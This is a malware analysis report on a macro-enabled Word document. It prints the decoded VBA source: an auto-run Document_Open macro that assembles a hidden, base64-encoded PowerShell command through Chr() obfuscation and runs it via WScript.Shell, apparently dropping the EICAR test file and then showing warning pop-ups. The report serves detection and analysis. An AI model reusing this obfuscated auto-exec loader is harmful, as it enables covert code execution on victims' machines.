Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1e18c8d6bc0c48ef…

MALICIOUS

Office (OOXML)

81.4 KB Created: 2020-10-24 02:45:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-10-31
MD5: 0bd572cc2abdf46c5f9972d08ce9f027 SHA-1: 1011f8c09d149ea76f7b8aa0f55459e9a075d4a5 SHA-256: 1e18c8d6bc0c48ef5c47882cdbc45a986ee828956622d15ce6175816a8b080c3
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3567 bytes
SHA-256: 476887e93415ff6b6cc1a0e7ae6f8c1b351a448e398956c94eb8c3cde25fd479
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

 MyProc1
End Sub

Private Sub MyProc1()

 Dim MyStr As String
 Dim MyPayload As String
 Dim MyCmd As String
 

MyPayload = "" & _
"JABEAGUAcwBrAHQAbwBwAFAAYQB0AGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABGAG8AbABkAGUAcgBQAGEA" & _
"dABoACgAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAArAFMAcABlAGMAaQBhAGwARgBvAGwAZABlAHIAXQA6ADoARABlAHMAawB0AG8AcAApADsA" & _
"IAAkAEYAaQBsAGUATgBhAG0AZQA9ACIAZQBpAGMAYQByAC4AdAB4AHQAIgA7ACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABEAGUAcwBrAHQAbwBwAFAAYQB0AGgA" & _
"KwAiAFwAIgArACQARgBpAGwAZQBOAGEAbQBlADsAIAAkAEUAbgBjAG8AZABlAGQAVABlAHgAdAAxACAAPQAgACIAVwBBAEEAMQBBAEUAOABBAEkAUQBCAFEAQQBDAFUA" & _
"QQBRAEEAQgBCAEEARgBBAEEAVwB3AEEAMABBAEYAdwBBAFUAQQBCAGEAQQBGAGcAQQBOAFEAQQAwAEEAQwBnAEEAVQBBAEIAZQBBAEMAawBBAE4AdwBCAEQAQQBFAE0A" & _
"QQBLAFEAQQAzAEEASAAwAEEASgBBAEIARgBBAEUAawBBAFEAdwBCAEIAQQBGAEkAQQAiADsAIAAkAEUAbgBjAG8AZABlAGQAVABlAHgAdAAyACAAPQAgACIATABRAEIA" & _
"VABBAEYAUQBBAFEAUQBCAE8AQQBFAFEAQQBRAFEAQgBTAEEARQBRAEEATABRAEIAQgBBAEUANABBAFYAQQBCAEoAQQBGAFkAQQBTAFEAQgBTAEEARgBVAEEAVQB3AEEA" & _
"dABBAEYAUQBBAFIAUQBCAFQAQQBGAFEAQQBMAFEAQgBHAEEARQBrAEEAVABBAEIARgBBAEMARQBBAEoAQQBCAEkAQQBDAHMAQQBTAEEAQQBxAEEAQQA9AD0AIgA7ACAA" & _
"JAB2AGEAbAAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4A" & _
"ZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEUAbgBjAG8AZABlAGQAVABlAHgA" & _
"dAAxACkAKQA7ACAAJAB2AGEAbAAyACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUA" & _
"dABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEUAbgBjAG8A" & _
"ZABlAGQAVABlAHgAdAAyACkAKQA7ACAATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABEAGUAcwBrAHQAbwBwAFAAYQB0AGgAIAAtAE4AYQBtAGUAIAAkAEYA" & _
"aQBsAGUATgBhAG0AZQAgAC0ASQB0AGUAbQBUAHkAcABlACAARgBpAGwAZQAgAC0ARgBvAHIAYwBlACAALQBWAGEAbAB1AGUAIAAkAHYAYQBsADEAOwAgAEEAZABkAC0A" & _
"QwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQARgBpAGwAZQBQAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAHYAYQBsADIAOwAgAEUAeABpAHQAOwA="

 
MyStartCmd = Chr(112) & Chr(79) & Chr(87) & Chr(101) & Chr(82) & Chr(115) & Chr(72) & Chr(69) & Chr(76) & Chr(76) & Chr(46) & Chr(101) & Chr(88) & Chr(101) & Chr(32) & Chr(45) & Chr(110) & Chr(79) & Chr(101) & Chr(88) & Chr(73) & Chr(116) & Chr(32) & Chr(45) & Chr(119) & Chr(73) & Chr(78) & Chr(100) & Chr(79) & Chr(87) & Chr(115) & Chr(116) & Chr(89) & Chr(108) & Chr(101) & Chr(32) & Chr(104) & Chr(73) & Chr(100) & Chr(68) & Chr(69) & Chr(110) & Chr(32) & Chr(45) & Chr(101) & Chr(32)


MyCmd = MyStartCmd & MyPayload


Set objShell = CreateObject("WScript.Shell")
 
 
 
 objShell.Run MyCmd, vbHide


Set objShell = Nothing

MyStartCmd = "You should not enable macros on unknown documents!"
MyPayload = "Your computer has just been infected with a virus."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbCritical, "Alert!"
 
MyStartCmd = "This time it was just EICAR Anti-Virus test file."
MyPayload = "If the antivirus did not react, check it."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbExclamation, "You are lucky"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: fb9c690b2d3ddce9dd5a42274cd63d62b7a853d395697e79b1d26b5466345618
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 21 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.